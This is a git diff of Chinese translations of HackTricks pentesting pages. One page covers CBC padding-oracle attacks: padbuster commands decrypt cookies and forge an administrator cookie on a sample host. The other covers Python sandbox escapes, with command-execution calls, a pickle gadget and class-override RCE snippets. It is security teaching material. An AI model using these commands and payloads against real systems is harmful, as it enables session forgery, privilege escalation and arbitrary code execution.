注册一个账户并使用该账户登录。\
|
注册一个账户并使用该账户登录。\
|
||||||
如果你**多次登录**并且总是获得**相同的cookie**,那么应用程序可能存在**问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能总是有效,并且没有办法使其失效。
|
如果你**多次登录**并且总是获得**相同的cookie**,那么应用程序可能存在**问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能总是有效,并且**无法使其失效**。
|
||||||
|
|
||||||
现在,如果你尝试**修改**该**cookie**,你会看到应用程序返回一个**错误**。\
|
现在,如果你尝试**修改**该**cookie**,你会看到应用程序返回一个**错误**。\
|
||||||
但是如果你暴力破解填充(例如使用padbuster),你可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
|
但是如果你暴力破解填充(例如使用padbuster),你可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
|
||||||
|
@ -110,17 +114,21 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
||||||
|
|
||||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习与实践AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习与实践GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持HackTricks</summary>
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass)或**关注**我们在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,41 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>支持 HackTricks</summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
# CBC - 密码块链接
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
在 CBC 模式中,**前一个加密块被用作 IV** 与下一个块进行异或运算:
|
|
||||||
|
# CBC - 密码块链接模式
|
||||||
|
|
||||||
|
在 CBC 模式下,**前一个加密块用作 IV**,与下一个块进行异或操作:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
|
||||||
|
|
||||||
要解密 CBC,需要执行**相反的操作**:
|
要解密 CBC,需进行**相反的** **操作**:
|
||||||
|
|
||||||
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
|
||||||
|
|
||||||
请注意,需要使用一个**加密密钥**和一个**IV**。
|
注意需要使用**加密** **密钥**和**IV**。
|
||||||
|
|
||||||
# 消息填充
|
# 消息填充
|
||||||
|
|
||||||
由于加密是以**固定大小的块**进行的,通常需要在**最后一个块**中进行填充以完成其长度。\
|
由于加密是在**固定** **大小** **块**中进行的,通常需要在**最后** **块**中进行**填充**以完成其长度。\
|
||||||
通常使用 **PKCS7**,它生成一个填充,**重复**所需的**字节数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
|
通常使用**PKCS7**,它生成的填充**重复**所需的**字节** **数**以**完成**块。例如,如果最后一个块缺少 3 个字节,填充将是 `\x03\x03\x03`。
|
||||||
|
|
||||||
让我们看看一个**长度为 8 字节的 2 个块**的更多示例:
|
让我们看更多的例子,使用**2 个长度为 8 字节的块**:
|
||||||
|
|
||||||
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
|
||||||
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
|
||||||
|
@ -40,43 +44,43 @@
|
||||||
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
|
||||||
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
|
||||||
|
|
||||||
请注意,在最后一个示例中,**最后一个块已满,因此另一个仅带填充的块被生成**。
|
注意在最后一个例子中,**最后一个块是满的,因此只生成了一个填充块**。
|
||||||
|
|
||||||
# 填充 Oracle
|
# 填充 oracle
|
||||||
|
|
||||||
当应用程序解密加密数据时,它将首先解密数据;然后将删除填充。在清除填充时,如果**无效的填充触发可检测的行为**,则存在**填充 Oracle 漏洞**。可检测的行为可以是一个**错误**,**缺少结果**或**响应较慢**。
|
当一个应用程序解密加密数据时,它会首先解密数据;然后它会移除填充。在清理填充的过程中,如果**无效填充触发可检测的行为**,则存在**填充 oracle 漏洞**。可检测的行为可以是**错误**、**缺少结果**或**响应变慢**。
|
||||||
|
|
||||||
如果检测到这种行为,您可以**解密加密数据**甚至**加密任何明文**。
|
如果你检测到这种行为,你可以**解密加密数据**,甚至**加密任何明文**。
|
||||||
|
|
||||||
## 如何利用
|
## 如何利用
|
||||||
|
|
||||||
您可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者只需执行
|
你可以使用 [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) 来利用这种漏洞,或者直接进行
|
||||||
```
|
```
|
||||||
sudo apt-get install padbuster
|
sudo apt-get install padbuster
|
||||||
```
|
```
|
||||||
为了测试一个网站的 cookie 是否存在漏洞,你可以尝试:
|
为了测试一个网站的cookie是否存在漏洞,你可以尝试:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
|
||||||
```
|
```
|
||||||
**编码 0** 意味着使用 **base64**(但其他选项也可用,请查看帮助菜单)。
|
**编码 0** 意味着使用 **base64**(但还有其他可用的,查看帮助菜单)。
|
||||||
|
|
||||||
您还可以**滥用此漏洞来加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",然后您可以将其更改为 "\_user=administrator\_" 并在应用程序内提升权限。您也可以使用 `paduster` 并指定 `-plaintext** 参数来执行此操作:
|
您还可以 **利用此漏洞加密新数据。例如,假设 cookie 的内容是 "**_**user=MyUsername**_**",那么您可以将其更改为 "\_user=administrator\_",并在应用程序中提升权限。您还可以使用 `paduster` 指定 -plaintext** 参数来实现这一点:
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
|
||||||
```
|
```
|
||||||
如果网站存在漏洞,`padbuster`将在出现填充错误时自动尝试查找,但您也可以使用**-error**参数指定错误消息。
|
如果网站存在漏洞,`padbuster`将自动尝试找出何时发生填充错误,但您也可以使用**-error**参数指示错误消息。
|
||||||
```bash
|
```bash
|
||||||
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
|
||||||
```
|
```
|
||||||
## 理论
|
## 理论
|
||||||
|
|
||||||
**总结**:您可以通过猜测可以用来创建所有**不同填充**的正确值来开始解密加密数据。然后,填充预言攻击将从末尾向开头开始解密字节,猜测哪个值将是**创建填充为1、2、3等的正确值**。
|
在**总结**中,您可以通过猜测可以用于创建所有**不同填充**的正确值来开始解密加密数据。然后,填充oracle攻击将开始从末尾到开头解密字节,猜测哪个将是**创建填充为1、2、3等**的正确值。
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||||
|
|
||||||
假设您有一些加密文本,占据了由**E0到E15**字节组成的**2个块**。\
|
想象一下,您有一些加密文本,占据**2个块**,由**E0到E15**的字节组成。\
|
||||||
为了解密**最后一个**块(**E8**到**E15**),整个块通过“块密码解密”生成**中间字节I0到I15**。\
|
为了**解密**最后一个**块**(**E8**到**E15**),整个块通过“块密码解密”,生成**中间字节I0到I15**。\
|
||||||
最后,每个中间字节都与先前加密的字节(E0到E7)进行**XOR运算**。因此:
|
最后,每个中间字节与之前的加密字节(E0到E7)进行**异或**运算。因此:
|
||||||
|
|
||||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||||
* `C14 = I14 ^ E6`
|
* `C14 = I14 ^ E6`
|
||||||
|
@ -86,25 +90,45 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
|
||||||
|
|
||||||
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
|
现在,可以**修改`E7`直到`C15`为`0x01`**,这也将是一个正确的填充。因此,在这种情况下:`\x01 = I15 ^ E'7`
|
||||||
|
|
||||||
因此,找到E'7,就可以**计算I15**:`I15 = 0x01 ^ E'7`
|
因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7`
|
||||||
|
|
||||||
这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||||
|
|
||||||
知道**C15**,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
|
知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
|
||||||
|
|
||||||
这个BF与前一个一样复杂,因为可以计算出值为0x02的`E''15`:`E''7 = \x02 ^ I15`,所以只需要找到生成**`C14`等于`0x02`**的**`E'14`**。\
|
这个暴力破解与之前的复杂度相同,因为可以计算出`E''15`的值为0x02:`E''7 = \x02 ^ I15`,因此只需找到生成**`C14`等于`0x02`**的**`E'14`**。\
|
||||||
然后,执行相同的步骤来解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
然后,执行相同的步骤来解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||||
|
|
||||||
**按照这个链条继续,直到解密整个加密文本。**
|
**按照这个链条,直到解密整个加密文本。**
|
||||||
|
|
||||||
## 漏洞检测
|
## 漏洞检测
|
||||||
|
|
||||||
注册一个帐户并使用该帐户登录。\
|
注册一个账户并使用该账户登录。\
|
||||||
如果您**多次登录**并始终获得**相同的cookie**,则应用程序可能存在**问题**。每次登录时发送回的cookie应该是**唯一的**。如果cookie**始终**是**相同的**,那么它可能始终有效,**无法使其失效**。
|
如果您**多次登录**并始终获得**相同的cookie**,那么应用程序中可能**存在问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能总是有效,并且**无法使其失效**。
|
||||||
|
|
||||||
现在,如果您尝试**修改**cookie,您会看到应用程序返回一个**错误**。\
|
现在,如果您尝试**修改**该**cookie**,您会看到应用程序返回一个**错误**。\
|
||||||
但是,如果您使用填充预言(例如使用padbuster)进行BF,您将成功获得另一个适用于不同用户的有效cookie。这种情况很可能对padbuster易受攻击。
|
但是,如果您暴力破解填充(例如使用padbuster),您可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
|
||||||
|
|
||||||
## 参考
|
## 参考文献
|
||||||
|
|
||||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||||
|
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践AWS黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践GCP黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>支持HackTricks</summary>
|
||||||
|
|
||||||
|
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -15,11 +15,19 @@
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### 从黑客的角度看待您的网络应用、网络和云
|
||||||
|
|
||||||
|
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。
|
这些是一些绕过 Python 沙箱保护并执行任意命令的技巧。
|
||||||
|
|
||||||
## 命令执行库
|
## 命令执行库
|
||||||
|
|
||||||
你需要知道的第一件事是,你是否可以直接使用某个已导入的库执行代码,或者你是否可以导入以下任何库:
|
您需要知道的第一件事是,您是否可以直接使用某个已导入的库执行代码,或者您是否可以导入以下任何库:
|
||||||
```python
|
```python
|
||||||
os.system("ls")
|
os.system("ls")
|
||||||
os.popen("ls").read()
|
os.popen("ls").read()
|
||||||
|
@ -52,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
||||||
execfile('/usr/lib/python2.7/os.py')
|
execfile('/usr/lib/python2.7/os.py')
|
||||||
system('ls')
|
system('ls')
|
||||||
```
|
```
|
||||||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 来 **绕过** 沙箱。
|
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 以 **绕过** 沙箱。
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
||||||
|
@ -66,7 +74,7 @@ Python 尝试 **首先从当前目录加载库**(以下命令将打印 python
|
||||||
|
|
||||||
### 默认包
|
### 默认包
|
||||||
|
|
||||||
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||||
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
||||||
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
||||||
```python
|
```python
|
||||||
|
@ -81,11 +89,11 @@ return (pip.main,(["list"],))
|
||||||
|
|
||||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||||
```
|
```
|
||||||
有关pickle如何工作的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
有关pickle工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||||
|
|
||||||
### Pip包
|
### Pip包
|
||||||
|
|
||||||
由**@isHaacK**分享的技巧
|
技巧由**@isHaacK**分享
|
||||||
|
|
||||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
||||||
```bash
|
```bash
|
||||||
|
@ -193,11 +201,11 @@ class _:pass
|
||||||
```
|
```
|
||||||
### RCE 创建对象和重载
|
### RCE 创建对象和重载
|
||||||
|
|
||||||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **被触发**。
|
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用** 的情况下 **被触发**。
|
||||||
|
|
||||||
#### RCE 与自定义类
|
#### 使用自定义类的 RCE
|
||||||
|
|
||||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||||
```python
|
```python
|
||||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||||
class RCE:
|
class RCE:
|
||||||
|
@ -329,10 +337,10 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||||
```
|
```
|
||||||
### No Builtins
|
### No Builtins
|
||||||
|
|
||||||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是良性的,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**。
|
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||||
|
|
||||||
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**良性**" 模块,以 **访问** **危险** **功能**。
|
在以下示例中,你可以观察到如何 **滥用** 一些被加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||||||
|
|
||||||
**Python2**
|
**Python2**
|
||||||
```python
|
```python
|
||||||
|
@ -416,11 +424,11 @@ class_obj.__init__.__globals__
|
||||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
